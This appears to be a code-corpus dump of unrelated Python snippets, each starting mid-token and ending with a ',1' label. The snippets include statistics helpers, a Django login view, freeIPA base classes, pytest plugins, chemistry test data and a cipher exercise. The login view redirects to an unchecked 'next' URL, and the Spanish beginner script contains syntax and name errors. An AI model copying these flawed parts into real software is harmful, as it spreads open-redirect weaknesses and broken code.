numpy import scipy.stats from collections import defaultdict def scores_to_probs(scores): scores = numpy.array(scores) scores -= scores.max() probs = numpy.exp(scores, out=scores) probs /= probs.sum() return probs def score_to_empirical_kl(score, count): """""" Convert total log score to KL( empirical || model ), where the empirical pdf is uniform over `count` datapoints. """""" count = float(count) return -score / count - numpy.log(count) def print_histogram(probs, counts): WIDTH = 60.0 max_count = max(counts) print '{: >8} {: >8}'.format('Prob', 'Count') for prob, count in sorted(zip(probs, counts), reverse=True): width = int(round(WIDTH * count / max_count)) print '{: >8.3f} {: >8d} {}'.format(prob, count, '-' * width) def multinomial_goodness_of_fit( probs, counts, total_count, truncated=False, plot=False): """""" Pearson's chi^2 test, on possibly truncated data. http://en.wikipedia.org/wiki/Pearson%27s_chi-squared_test Returns: p-value of truncated multinomial sample. """""" assert len(probs) == len(counts) assert truncated or total_count == sum(counts) chi_squared = 0 dof = 0 if plot: print_histogram(probs, counts) for p, c in zip(probs, counts): if p == 1: return 1 if c == total_count else 0 assert p < 1, 'bad probability: %g' % p if p > 0: mean = total_count * p variance = total_count * p * (1 - p) assert variance > 1,\ 'WARNING goodness of fit is inaccurate; use more samples' chi_squared += (c - mean) ** 2 / variance dof += 1 else: print 'WARNING zero probability in goodness-of-fit test' if c > 0: return float('inf') if not truncated: dof -= 1 survival = scipy.stats.chi2.sf(chi_squared, dof) return survival def unif01_goodness_of_fit(samples, plot=False): """""" Bin uniformly distributed samples and apply Pearson's chi^2 test. """""" samples = numpy.array(samples, dtype=float) assert samples.min() >= 0.0 assert samples.max() <= 1.0 bin_count = int(round(len(samples) ** 0.333)) assert bin_count >= 7, 'WARNING imprecise test, use more samples' probs = numpy.ones(bin_count, dtype=numpy.float) / bin_count counts = numpy.zeros(bin_count, dtype=numpy.int) for sample in samples: counts[int(bin_count * sample)] += 1 return multinomial_goodness_of_fit(probs, counts, len(samples), plot=plot) def density_goodness_of_fit(samples, probs, plot=False): """""" Transform arbitrary continuous samples to unif01 distribution and assess goodness of fit via Pearson's chi^2 test. Inputs: samples - a list of real-valued samples from a distribution probs - a list of probability densities evaluated at those samples """""" assert len(samples) == len(probs) assert len(samples) > 100, 'WARNING imprecision; use more samples' pairs = zip(samples, probs) pairs.sort() samples = numpy.array([x for x, p in pairs]) probs = numpy.array([p for x, p in pairs]) density = numpy.sqrt(probs[1:] * probs[:-1]) gaps = samples[1:] - samples[:-1] unif01_samples = 1.0 - numpy.exp(-len(samples) * gaps * density) return unif01_goodness_of_fit(unif01_samples, plot=plot) def discrete_goodness_of_fit( samples, probs_dict, truncate_beyond=8, plot=False): """""" Transform arbitrary discrete data to multinomial and assess goodness of fit via Pearson's chi^2 test. """""" assert len(samples) > 100, 'WARNING imprecision; use more samples' counts = defaultdict(lambda: 0) for sample in samples: assert sample in probs_dict counts[sample] += 1 items = [(prob, counts.get(i, 0)) for i, prob in probs_dict.iteritems()] items.sort(reverse=True) truncated = (truncate_beyond and truncate_beyond < len(items)) if truncated: items = items[:truncate_beyond] probs = [prob for prob, count in items] counts = [count for prob, count in items] return multinomial_goodness_of_fit( probs, counts, len(samples), truncated=truncated, plot=plot) def bin_samples(samples, k=10, support=[]): """""" Bins a collection of univariate samples into k bins of equal fill via the empirical cdf, to be used in goodness of fit testing. Returns counts : array k x 1 bin_ranges : arrary k x 2 each count is the number of samples in [bin_min, bin_max) except for the last bin which is [bin_min, bin_max] list partitioning algorithm adapted from Mark Dickinson: http://stackoverflow.com/questions/2659900 """""" samples = sorted(samples) N = len(samples) q, r = divmod(N, k) #we need to distribute the remainder relatively evenly #tests will be inaccurate if we have small bins at the end indices = [i * q + min(r, i) for i in range(k + 1)] bins = [samples[indices[i]: indices[i + 1]] for i in range(k)] bin_ranges = [] counts = [] for i in range(k): bin_min = bins[i][0] try: bin_max = bins[i + 1][0] except IndexError: bin_max = bins[i][-1] bin_ranges.append([bin_min, bin_max]) counts.append(len(bins[i])) if support: bin_ranges[0][0] = support[0] bin_ranges[-1][1] = support[1] return numpy.array(counts), numpy.array(bin_ranges) def histogram(samples, bin_count=None): if bin_count is None: bin_count = numpy.max(samples) + 1 v = numpy.zeros(bin_count, dtype=int) for sample in samples: v[sample] += 1 return v ",1 "ango.contrib.auth import authenticate, login from django.shortcuts import redirect from django.core.urlresolvers import reverse from biz.djangoapps.ga_manager.models import Manager log = logging.getLogger(__name__) LOGIN_ADMIN = 1 LOGIN_ERROR = -1 LOGIN_DEFAULT = 0 LOGIN_ERROR_AUTH = -2 def index(request): """""" lists content of Login """""" next_url = request.GET.get('next', '') if request.user.is_active: if request.user.is_authenticated(): if next_url == '': return redirect(reverse('biz:index')) else: return redirect(next_url) account_check = LOGIN_DEFAULT post_email = request.POST.get('email', '') post_password = request.POST.get(""password"") post_remember = False if request.method == 'POST': next_url = request.POST.get(""next"", '') if ""remember"" in request.POST: post_remember = True if not 0 < len(post_email) <= 255: log.info('Login failed - email length over') account_check = LOGIN_ERROR if not 0 < len(post_password) <= 255: log.info('Login failed - password length over') account_check = LOGIN_ERROR if User.objects.filter(email=post_email, is_active=True).exists(): user = User.objects.get(email=post_email, is_active=True) else: log.info(""Login failed - password for {0} is invalid"".format(post_email)) account_check = LOGIN_ERROR if account_check == LOGIN_ERROR: return render_to_response('gx_login/login.html', {'account_check': account_check, 'next_url': next_url, 'email': post_email}) if user.check_password(post_password): mgs = Manager.get_managers(user) if any([mg.is_aggregator() for mg in mgs]): account_check = LOGIN_ADMIN if any([mg.is_director() for mg in mgs]): account_check = LOGIN_ADMIN if any([mg.is_manager() for mg in mgs]): account_check = LOGIN_ADMIN if any([mg.is_platformer() for mg in mgs]): account_check = LOGIN_ADMIN if account_check == LOGIN_ADMIN: # Auto Updating Last Login Datetime user = authenticate(username=user.username, password=post_password) login(request, user) if post_remember: # Session Retention 7 days request.session.set_expiry(604800) else: request.session.set_expiry(0) if next_url == '': return redirect(reverse('biz:index')) else: return redirect(next_url) else: account_check = LOGIN_ERROR_AUTH else: log.info('Login failed - password mismatch') account_check = LOGIN_ERROR return render_to_response('gx_login/login.html', {'account_check': account_check, 'next_url': next_url, 'email': post_email}) ",1 "ile except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Ref: https://github.com/swagger-api/swagger-codegen """""" from pprint import pformat from six import iteritems class Chassis100ChassisActions(object): """""" NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """""" def __init__(self): """""" Chassis100ChassisActions - a model defined in Swagger :param dict swaggerTypes: The key is attribute name and the value is attribute type. :param dict attributeMap: The key is attribute name and the value is json key in definition. """""" self.swagger_types = { 'oem': 'object', 'chassis_reset': 'Chassis100Reset' } self.attribute_map = { 'oem': 'Oem', 'chassis_reset': '#Chassis.Reset' } self._oem = None self._chassis_reset = None @property def oem(self): """""" Gets the oem of this Chassis100ChassisActions. :return: The oem of this Chassis100ChassisActions. :rtype: object """""" return self._oem @oem.setter def oem(self, oem): """""" Sets the oem of this Chassis100ChassisActions. :param oem: The oem of this Chassis100ChassisActions. :type: object """""" self._oem = oem @property def chassis_reset(self): """""" Gets the chassis_reset of this Chassis100ChassisActions. :return: The chassis_reset of this Chassis100ChassisActions. :rtype: Chassis100Reset """""" return self._chassis_reset @chassis_reset.setter def chassis_reset(self, chassis_reset): """""" Sets the chassis_reset of this Chassis100ChassisActions. :param chassis_reset: The chassis_reset of this Chassis100ChassisActions. :type: Chassis100Reset """""" self._chassis_reset = chassis_reset def to_dict(self): """""" Returns the model properties as a dict """""" result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, ""to_dict"") else x, value )) elif hasattr(value, ""to_dict""): result[attr] = value.to_dict() else: result[attr] = value return result def to_str(self): """""" Returns the string representation of the model """""" return pformat(self.to_dict()) def __repr__(self): """""" For `print` and `pprint` """""" return self.to_str() def __eq__(self, other): """""" Returns true if both objects are equal """""" return self.__dict__ == other.__dict__ def __ne__(self, other): """""" Returns true if both objects are not equal """""" return not self == other ",1 "): prefix_count_top = running_counts[top] suffix_count_top = total_counts[top] - prefix_count_top return (prefix_count_top * 2 > i + 1) and (suffix_count_top * 2 > len(A) - i - 1) total_counts = Counter(A) running_counts = defaultdict(int) top = A[0] result = 0 for i in xrange(len(A) - 1): n = A[i] running_counts[n] += 1 top = top if running_counts[top] >= running_counts[n] else n if _is_equi_leader(i): result += 1 return result ",1 " program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . """""" Foundational classes and functions. """""" import re from constants import NAME_REGEX, NAME_ERROR from constants import TYPE_ERROR, SET_ERROR, DEL_ERROR, OVERRIDE_ERROR class ReadOnly(object): """""" Base class for classes that can be locked into a read-only state. Be forewarned that Python does not offer true read-only attributes for user-defined classes. Do *not* rely upon the read-only-ness of this class for security purposes! The point of this class is not to make it impossible to set or to delete attributes after an instance is locked, but to make it impossible to do so *accidentally*. Rather than constantly reminding our programmers of things like, for example, ""Don't set any attributes on this ``FooBar`` instance because doing so wont be thread-safe"", this class offers a real way to enforce read-only attribute usage. For example, before a `ReadOnly` instance is locked, you can set and delete its attributes as normal: >>> class Person(ReadOnly): ... pass ... >>> p = Person() >>> p.name = 'John Doe' >>> p.phone = '123-456-7890' >>> del p.phone But after an instance is locked, you cannot set its attributes: >>> p.__islocked__() # Is this instance locked? False >>> p.__lock__() # This will lock the instance >>> p.__islocked__() True >>> p.department = 'Engineering' Traceback (most recent call last): ... AttributeError: locked: cannot set Person.department to 'Engineering' Nor can you deleted its attributes: >>> del p.name Traceback (most recent call last): ... AttributeError: locked: cannot delete Person.name However, as noted at the start, there are still obscure ways in which attributes can be set or deleted on a locked `ReadOnly` instance. For example: >>> object.__setattr__(p, 'department', 'Engineering') >>> p.department 'Engineering' >>> object.__delattr__(p, 'name') >>> hasattr(p, 'name') False But again, the point is that a programmer would never employ the above techniques *accidentally*. Lastly, this example aside, you should use the `lock()` function rather than the `ReadOnly.__lock__()` method. And likewise, you should use the `islocked()` function rather than the `ReadOnly.__islocked__()` method. For example: >>> readonly = ReadOnly() >>> islocked(readonly) False >>> lock(readonly) is readonly # lock() returns the instance True >>> islocked(readonly) True """""" __locked = False def __lock__(self): """""" Put this instance into a read-only state. After the instance has been locked, attempting to set or delete an attribute will raise an AttributeError. """""" assert self.__locked is False, '__lock__() can only be called once' self.__locked = True def __islocked__(self): """""" Return True if instance is locked, otherwise False. """""" return self.__locked def __setattr__(self, name, value): """""" If unlocked, set attribute named ``name`` to ``value``. If this instance is locked, an AttributeError will be raised. :param name: Name of attribute to set. :param value: Value to assign to attribute. """""" if self.__locked: raise AttributeError( SET_ERROR % (self.__class__.__name__, name, value) ) return object.__setattr__(self, name, value) def __delattr__(self, name): """""" If unlocked, delete attribute named ``name``. If this instance is locked, an AttributeError will be raised. :param name: Name of attribute to delete. """""" if self.__locked: raise AttributeError( DEL_ERROR % (self.__class__.__name__, name) ) return object.__delattr__(self, name) def lock(instance): """""" Lock an instance of the `ReadOnly` class or similar. This function can be used to lock instances of any class that implements the same locking API as the `ReadOnly` class. For example, this function can lock instances of the `config.Env` class. So that this function can be easily used within an assignment, ``instance`` is returned after it is locked. For example: >>> readonly = ReadOnly() >>> readonly is lock(readonly) True >>> readonly.attr = 'This wont work' Traceback (most recent call last): ... AttributeError: locked: cannot set ReadOnly.attr to 'This wont work' Also see the `islocked()` function. :param instance: The instance of `ReadOnly` (or similar) to lock. """""" assert instance.__islocked__() is False, 'already locked: %r' % instance instance.__lock__() assert instance.__islocked__() is True, 'failed to lock: %r' % instance return instance def islocked(instance): """""" Return ``True`` if ``instance`` is locked. This function can be used on an instance of the `ReadOnly` class or an instance of any other class implemented the same locking API. For example: >>> readonly = ReadOnly() >>> islocked(readonly) False >>> readonly.__lock__() >>> islocked(readonly) True Also see the `lock()` function. :param instance: The instance of `ReadOnly` (or similar) to interrogate. """""" assert ( hasattr(instance, '__lock__') and callable(instance.__lock__) ), 'no __lock__() method: %r' % instance return instance.__islocked__() def check_name(name): """""" Verify that ``name`` is suitable for a `NameSpace` member name. In short, ``name`` must be a valid lower-case Python identifier that neither starts nor ends with an underscore. Otherwise an exception is raised. This function will raise a ``ValueError`` if ``name`` does not match the `constants.NAME_REGEX` regular expression. For example: >>> check_name('MyName') Traceback (most recent call last): ... ValueError: name must match '^[a-z][_a-z0-9]*[a-z0-9]$|^[a-z]$'; got 'MyName' Also, this function will raise a ``TypeError`` if ``name`` is not an ``str`` instance. For example: >>> check_name(u'my_name') Traceback (most recent call last): ... TypeError: name: need a ; got u'my_name' (a ) So that `check_name()` can be easily used within an assignment, ``name`` is returned unchanged if it passes the check. For example: >>> n = check_name('my_name') >>> n 'my_name' :param name: Identifier to test. """""" if type(name) is not str: raise TypeError( TYPE_ERROR % ('name', str, name, type(name)) ) if re.match(NAME_REGEX, name) is None: raise ValueError( NAME_ERROR % (NAME_REGEX, name) ) return name class NameSpace(ReadOnly): """""" A read-only name-space with handy container behaviours. A `NameSpace` instance is an ordered, immutable mapping object whose values can also be accessed as attributes. A `NameSpace` instance is constructed from an iterable providing its *members*, which are simply arbitrary objects with a ``name`` attribute whose value: 1. Is unique among the members 2. Passes the `check_name()` function Beyond that, no restrictions are placed on the members: they can be classes or instances, and of any type. The members can be accessed as attributes on the `NameSpace` instance or through a dictionary interface. For example, say we create a `NameSpace` instance from a list containing a single member, like this: >>> class my_member(object): ... name = 'my_name' ... >>> namespace = NameSpace([my_member]) >>> namespace NameSpace(<1 member>, sort=True) We can then access ``my_member`` both as an attribute and as a dictionary item: >>> my_member is namespace.my_name # As an attribute True >>> my_member is namespace['my_name'] # As dictionary item True For a more detailed example, say we create a `NameSpace` instance from a generator like this: >>> class Member(object): ... def __init__(self, i): ... self.i = i ... self.name = 'member%d' % i ... def __repr__(self): ... return 'Member(%d)' % self.i ... >>> ns = NameSpace(Member(i) for i in xrange(3)) >>> ns NameSpace(<3 members>, sort=True) As above, the members can be accessed as attributes and as dictionary items: >>> ns.member0 is ns['member0'] True >>> ns.member1 is ns['member1'] True >>> ns.member2 is ns['member2'] True Members can also be accessed by index and by slice. For example: >>> ns[0] Member(0) >>> ns[-1] Member(2) >>> ns[1:] (Member(1), Member(2)) (Note that slicing a `NameSpace` returns a ``tuple``.) `NameSpace` instances provide standard container emulation for membership testing, counting, and iteration. For example: >>> 'member3' in ns # Is there a member named 'member3'? False >>> 'member2' in ns # But there is a member named 'member2' True >>> len(ns) # The number of members 3 >>> list(ns) # Iterate through the member names ['member0', 'member1', 'member2'] Although not a standard container feature, the `NameSpace.__call__()` method provides a convenient (and efficient) way to iterate through the *members* (as opposed to the member names). Think of it like an ordered version of the ``dict.itervalues()`` method. For example: >>> list(ns[name] for name in ns) # One way to do it [Member(0), Member(1), Member(2)] >>> list(ns()) # A more efficient, simpler way to do it [Member(0), Member(1), Member(2)] Another convenience method is `NameSpace.__todict__()`, which will return a copy of the ``dict`` mapping the member names to the members. For example: >>> ns.__todict__() {'member1': Member(1), 'member0': Member(0), 'member2': Member(2)} As `NameSpace.__init__()` locks the instance, `NameSpace` instances are read-only from the get-go. An ``AttributeError`` is raised if you try to set *any* attribute on a `NameSpace` instance. For example: >>> ns.member3 = Member(3) # Lets add that missing 'member3' Traceback (most recent call last): ... AttributeError: locked: cannot set NameSpace.member3 to Member(3) (For information on the locking protocol, see the `ReadOnly` class, of which `NameSpace` is a subclass.) By default the members will be sorted alphabetically by the member name. For example: >>> sorted_ns = NameSpace([Member(7), Member(3), Member(5)]) >>> sorted_ns NameSpace(<3 members>, sort=True) >>> list(sorted_ns) ['member3', 'member5', 'member7'] >>> sorted_ns[0] Member(3) But if the instance is created with the ``sort=False`` keyword argument, the original order of the members is preserved. For example: >>> unsorted_ns = NameSpace([Member(7), Member(3), Member(5)], sort=False) >>> unsorted_ns NameSpace(<3 members>, sort=False) >>> list(unsorted_ns) ['member7', 'member3', 'member5'] >>> unsorted_ns[0] Member(7) The `NameSpace` class is used in many places throughout freeIPA. For a few examples, see the `plugable.API` and the `frontend.Command` classes. """""" def __init__(self, members, sort=True, name_attr='name'): """""" :param members: An iterable providing the members. :param sort: Whether to sort the members by member name. """""" if type(sort) is not bool: raise TypeError( TYPE_ERROR % ('sort', bool, sort, type(sort)) ) self.__sort = sort if sort: self.__members = tuple( sorted(members, key=lambda m: getattr(m, name_attr)) ) else: self.__members = tuple(members) self.__names = tuple(getattr(m, name_attr) for m in self.__members) self.__map = dict() for member in self.__members: name = check_name(getattr(member, name_attr)) if name in self.__map: raise AttributeError(OVERRIDE_ERROR % (self.__class__.__name__, name, self.__map[name], member) ) assert not hasattr(self, name), 'Ouch! Has attribute %r' % name self.__map[name] = member setattr(self, name, member) lock(self) def __len__(self): """""" Return the number of members. """""" return len(self.__members) def __iter__(self): """""" Iterate through the member names. If this instance was created with ``sort=False``, the names will be in the same order as the members were passed to the constructor; otherwise the names will be in alphabetical order (which is the default). This method is like an ordered version of ``dict.iterkeys()``. """""" for name in self.__names: yield name def __call__(self): """""" Iterate through the members. If this instance was created with ``sort=False``, the members will be in the same order as they were passed to the constructor; otherwise the members will be in alphabetical order by name (which is the default). This method is like an ordered version of ``dict.itervalues()``. """""" for member in self.__members: yield member def __contains__(self, name): """""" Return ``True`` if namespace has a member named ``name``. """""" return name in self.__map def __getitem__(self, key): """""" Return a member by name or index, or return a slice of members. :param key: The name or index of a member, or a slice object. """""" if isinstance(key, basestring): return self.__map[key] if type(key) in (int, slice): return self.__members[key] raise TypeError( TYPE_ERROR % ('key', (str, int, slice), key, type(key)) ) def __repr__(self): """""" Return a pseudo-valid expression that could create this instance. """""" cnt = len(self) if cnt == 1: m = 'member' else: m = 'members' return '%s(<%d %s>, sort=%r)' % ( self.__class__.__name__, cnt, m, self.__sort, ) def __todict__(self): """""" Return a copy of the private dict mapping member name to member. """""" return dict(self.__map) ",1 "er): """"""Add CLI options related to Testimony token based mark collection"""""" parser.addoption( '--importance', help='Comma separated list of importance levels to include in test collection', ) parser.addoption( '--component', help='Comma separated list of component names to include in test collection', ) parser.addoption( '--assignee', help='Comma separated list of assignees to include in test collection', ) def pytest_configure(config): """"""Register markers related to testimony tokens"""""" for marker in [ 'importance: CaseImportance testimony token, use --importance to filter', 'component: Component testimony token, use --component to filter', 'assignee: Assignee testimony token, use --assignee to filter', ]: config.addinivalue_line(""markers"", marker) component_regex = re.compile( # To match :CaseComponent: FooBar r'\s*:CaseComponent:\s*(?P\S*)', re.IGNORECASE, ) importance_regex = re.compile( # To match :CaseImportance: Critical r'\s*:CaseImportance:\s*(?P\S*)', re.IGNORECASE, ) assignee_regex = re.compile( # To match :Assignee: jsmith r'\s*:Assignee:\s*(?P\S*)', re.IGNORECASE, ) @pytest.hookimpl(tryfirst=True) def pytest_collection_modifyitems(session, items, config): """"""Add markers for testimony tokens"""""" # split the option string and handle no option, single option, multiple # config.getoption(default) doesn't work like you think it does, hence or '' importance = [i for i in (config.getoption('importance') or '').split(',') if i != ''] component = [c for c in (config.getoption('component') or '').split(',') if c != ''] assignee = [a for a in (config.getoption('assignee') or '').split(',') if a != ''] selected = [] deselected = [] logger.info('Processing test items to add testimony token markers') for item in items: if item.nodeid.startswith('tests/robottelo/'): # Unit test, no testimony markers continue # apply the marks for importance, component, and assignee # Find matches from docstrings starting at smallest scope item_docstrings = [ d for d in map(inspect.getdoc, (item.function, getattr(item, 'cls', None), item.module)) if d is not None ] item_mark_names = [m.name for m in item.iter_markers()] for docstring in item_docstrings: # Add marker starting at smallest docstring scope # only add the mark if it hasn't already been applied at a lower scope doc_component = component_regex.findall(docstring) if doc_component and 'component' not in item_mark_names: item.add_marker(pytest.mark.component(doc_component[0])) doc_importance = importance_regex.findall(docstring) if doc_importance and 'importance' not in item_mark_names: item.add_marker(pytest.mark.importance(doc_importance[0])) doc_assignee = assignee_regex.findall(docstring) if doc_assignee and 'assignee' not in item_mark_names: item.add_marker(pytest.mark.assignee(doc_assignee[0])) # exit early if no filters were passed if importance or component or assignee: # Filter test collection based on CLI options for filtering # filters should be applied together # such that --component Repository --importance Critical --assignee jsmith # only collects tests which have all three of these marks # https://github.com/pytest-dev/pytest/issues/1373 Will make this way easier # testimony requires both importance and component, this will blow up if its forgotten importance_marker = item.get_closest_marker('importance').args[0] if importance and importance_marker not in importance: logger.debug( f'Deselected test {item.nodeid} due to ""--importance {importance}"",' f'test has importance mark: {importance_marker}' ) deselected.append(item) continue component_marker = item.get_closest_marker('component').args[0] if component and component_marker not in component: logger.debug( f'Deselected test {item.nodeid} due to ""--component {component}"",' f'test has component mark: {component_marker}' ) deselected.append(item) continue assignee_marker = item.get_closest_marker('assignee').args[0] if assignee and assignee_marker not in assignee: logger.debug( f'Deselected test {item.nodeid} due to ""--assignee {assignee}"",' f'test has assignee mark: {assignee_marker}' ) deselected.append(item) continue selected.append(item) # selected will be empty if no filter option was passed, defaulting to full items list items[:] = selected if deselected else items config.hook.pytest_deselected(items=deselected) ",1 "altura)/2 print result2 def cast(): lista=[1,2,3,""hola""] tupla=(1,2,3) diccinario={""key1"":""Diego"",""key2"":""Piqui"",""key3"":""Chuy""} for k,v in diccionario: print ""%s %s"" % (k,v) class Estudiante(object): def __init__(self, nombre, edad): self.nombre=nombre self.edad=edad def hola(self): return self.nombre def esMayor(self): if self.edad>=18: return true else: return false def EXCEPTION(): try: 3/0 except Exception: print ""error"" def main(): e=Estudiante(""Diego"",22) print""Hola %s"" % e.hola() if e.esMayor(): print""Es mayor de edad"" else: print""Es menor de edad"" contador = 0 while contador <=10: print contador contador +=1 EXCEPTION(): def getWeb(): try: web=urllib2.urlopen(""http://itjiquilpan.edu.mx/"") print web.read() web.close() except urllib2.HTTPError, e: print e except urllib2.URLError as e: print e def main(): cast() if __name__==""__main__"": main() ",1 "720 3.78326969 -0.00000000 -0.00000000 3.96610412 0.00000000 3.52668267 0.00000000 -0.00000000 -2.98430053 0.00000000 -0.00000000 0.00000000 -0.00000000 1.26744725 -0.00000000 2.16730601 1 1.43043000 0.00000000 1.10716000 0.33193836 -0.16057903 -0.00000000 -0.11299312 1.55235099 -0.00000000 1.15495299 0.60859677 -0.00000000 1.21104235 -4.46820475 0.00000000 -4.55909022 -0.05601735 0.00000000 -3.72029878 -0.00000000 0.46039909 -0.00000000 -2.40410436 1 -1.43043000 0.00000000 1.10716000 0.33193836 0.16057903 -0.00000000 -0.11299312 1.55235099 -0.00000000 -1.15495299 0.60859677 0.00000000 1.21104235 4.46820475 -0.00000000 -4.55909022 0.05601735 0.00000000 3.72029878 -0.00000000 0.46039909 -0.00000000 -2.40410436 Time used in Loprop : 0.45 (cpu) 0.11 (wall) """""" STR_BOND = """"""AU 5 1 22 1 1 0.00000000 0.00000000 0.00000000 -0.66387672 0.00000000 -0.00000000 0.41788500 1.19165567 0.00000000 0.00000000 2.74891057 0.00000000 1.33653383 0.00000000 0.00000000 4.18425484 0.00000000 -0.00000000 -0.00000000 -0.00000000 0.19037387 0.00000000 5.96033807 1 0.71521500 0.00000000 0.55358000 0.00000000 -0.06567795 -0.00000000 -0.07278780 2.59161403 -0.00000000 1.21719355 1.98015668 -0.00000000 2.19014883 -7.24839104 0.00000000 -7.16855538 0.59534043 0.00000000 -5.74640170 -0.00000000 1.07707338 -0.00000000 -3.79303206 1 1.43043000 0.00000000 1.10716000 0.33193836 -0.12774005 0.00000000 -0.07659922 0.25654398 0.00000000 0.16487465 -0.00000000 -0.00000000 0.11596794 -0.84400923 0.00000000 -0.97481253 -0.35368757 -0.00000000 -0.84709793 0.00000000 -0.07813759 0.00000000 -0.50758833 1 -0.71521500 0.00000000 0.55358000 0.00000000 0.06567795 -0.00000000 -0.07278780 2.59161403 -0.00000000 1.21719355 -1.98015668 0.00000000 2.19014883 7.24839104 -0.00000000 -7.16855538 -0.59534043 0.00000000 5.74640170 -0.00000000 1.07707338 -0.00000000 -3.79303206 1 -1.43043000 0.00000000 1.10716000 0.33193836 0.12774005 0.00000000 -0.07659922 0.25654398 -0.00000000 -0.16487465 0.00000000 0.00000000 0.11596794 0.84400923 -0.00000000 -0.97481253 0.35368757 0.00000000 0.84709793 -0.00000000 -0.07813759 -0.00000000 -0.50758833 Time used in Loprop : 0.45 (cpu) 0.11 (wall) """""" class TestBondH2O: """"""H2O tests bonded versus non-bonden results"""""" def setup(self): # Read in string that is for no bonds output lines = [line for line in STR_BOND.split(""\n"") if len(line.split()) > 10] a0 = 1.0 self.n_bond = np.array([8.0, 0.0, 1.0, 0.0, 1.0], dtype=float) self.r_bond = a0 * np.array([l.split()[1:4] for l in lines], dtype=float) self.q_bond = np.array([l.split()[4] for l in lines], dtype=float) self.d_bond = np.array([l.split()[5:8] for l in lines], dtype=float) self.a_bond = np.array([l.split()[8:15] for l in lines], dtype=float) self.b_bond = np.array([l.split()[15:26] for l in lines], dtype=float) self.coc_bond = np.einsum(""ij,i"", self.r_bond, self.n_bond) / self.n_bond.sum() # Read in string that is for bonds output -b lines = [line for line in STR_NOBOND.split(""\n"") if len(line.split()) > 10] self.n_nobond = np.array([8.0, 1.0, 1.0], dtype=float) self.r_nobond = a0 * np.array([l.split()[1:4] for l in lines], dtype=float) self.q_nobond = np.array([l.split()[4] for l in lines], dtype=float) self.d_nobond = np.array([l.split()[5:8] for l in lines], dtype=float) self.a_nobond = np.array([l.split()[8:15] for l in lines], dtype=float) self.b_nobond = np.array([l.split()[15:26] for l in lines], dtype=float) self.coc_nobond = ( np.einsum(""ij,i"", self.r_nobond, self.n_nobond) / self.n_nobond.sum() ) def test_bond_nobond_properties(self): """"""Center-of-charge equality"""""" np.testing.assert_allclose(self.coc_bond, self.coc_nobond) def test_a(self): """"""Polarizability equality"""""" a_tot_bond = np.sum(self.a_bond) a_tot_nobond = np.sum(self.a_nobond) np.testing.assert_allclose(a_tot_bond, a_tot_nobond) def test_b(self): """"""Hyperpolarizability equality"""""" b_tot_bond = np.sum(self.b_bond) b_tot_nobond = np.sum(self.b_nobond) np.testing.assert_allclose(b_tot_bond, b_tot_nobond) def test_dip(self): """"""Dipole equality"""""" dip_bond = np.einsum( ""ij,i"", (self.r_bond - self.coc_bond), self.q_bond ) + self.d_bond.sum(axis=0) dip_nobond = np.einsum( ""ij,i"", (self.r_nobond - self.coc_nobond), self.q_nobond ) + self.d_nobond.sum(axis=0) np.testing.assert_allclose(dip_bond, dip_nobond) class TestBondH2S: """"""H2O tests bonded versus non-bonden results"""""" def setup(self): # Read in string that is for no bonds output lines = [line for line in STR_BOND.split(""\n"") if len(line.split()) > 10] a0 = 1.0 self.n_bond = np.array([16.0, 0.0, 1.0, 0.0, 1.0], dtype=float) self.r_bond = a0 * np.array([l.split()[1:4] for l in lines], dtype=float) self.q_bond = np.array([l.split()[4] for l in lines], dtype=float) self.d_bond = np.array([l.split()[5:8] for l in lines], dtype=float) self.a_bond = np.array([l.split()[8:15] for l in lines], dtype=float) self.b_bond = np.array([l.split()[15:26] for l in lines], dtype=float) self.coc_bond = np.einsum(""ij,i"", self.r_bond, self.n_bond) / self.n_bond.sum() # Read in string that is for bonds output -b lines = [line for line in STR_NOBOND.split(""\n"") if len(line.split()) > 10] self.n_nobond = np.array([16.0, 1.0, 1.0], dtype=float) self.r_nobond = a0 * np.array([l.split()[1:4] for l in lines], dtype=float) self.q_nobond = np.array([l.split()[4] for l in lines], dtype=float) self.d_nobond = np.array([l.split()[5:8] for l in lines], dtype=float) self.a_nobond = np.array([l.split()[8:15] for l in lines], dtype=float) self.b_nobond = np.array([l.split()[15:26] for l in lines], dtype=float) self.coc_nobond = ( np.einsum(""ij,i"", self.r_nobond, self.n_nobond) / self.n_nobond.sum() ) def test_bond_nobond_properties(self): """"""Center-of-charge equality"""""" np.testing.assert_allclose(self.coc_bond, self.coc_nobond) def test_a(self): """"""Polarizability equality"""""" a_tot_bond = np.sum(self.a_bond) a_tot_nobond = np.sum(self.a_nobond) np.testing.assert_allclose(a_tot_bond, a_tot_nobond) def test_b(self): """"""Hyperpolarizability equality"""""" b_tot_bond = np.sum(self.b_bond) b_tot_nobond = np.sum(self.b_nobond) np.testing.assert_allclose(b_tot_bond, b_tot_nobond) def test_dip(self): """"""Dipole equality"""""" dip_bond = np.einsum( ""ij,i"", (self.r_bond - self.coc_bond), self.q_bond ) + self.d_bond.sum(axis=0) dip_nobond = np.einsum( ""ij,i"", (self.r_nobond - self.coc_nobond), self.q_nobond ) + self.d_nobond.sum(axis=0) np.testing.assert_allclose(dip_bond, dip_nobond) ",1 "pher import decryptMessage def main(): # 1. How many prime numbers are there? # Hint: Check page 322 message = ""Iymdi ah rv urxxeqfi fjdjqv gu gzuqw clunijh."" # Encrypted with key ""PRIMES"" #print(decryptMessage(blank, blank)) # Fill in the blanks # 2. What are integers that are not prime called? # Hint: Check page 323 message = ""Vbmggpcw wlvx njr bhv pctqh emi psyzxf czxtrwdxr fhaugrd."" # Encrypted with key ""NOTCALLEDEVENS"" #print(decryptMessage(blank, blank)) # Fill in the blanks # 3. What are two algorithms for finding prime numbers? # Hint: Check page 323 # Encrypted with key ""ALGORITHMS"" message = ""Tsk hyzxl mdgzxwkpfz gkeo ob kpbz ngov gfv: bkpmd dtbwjqhu, eaegk cw Mkhfgsenseml, hzv 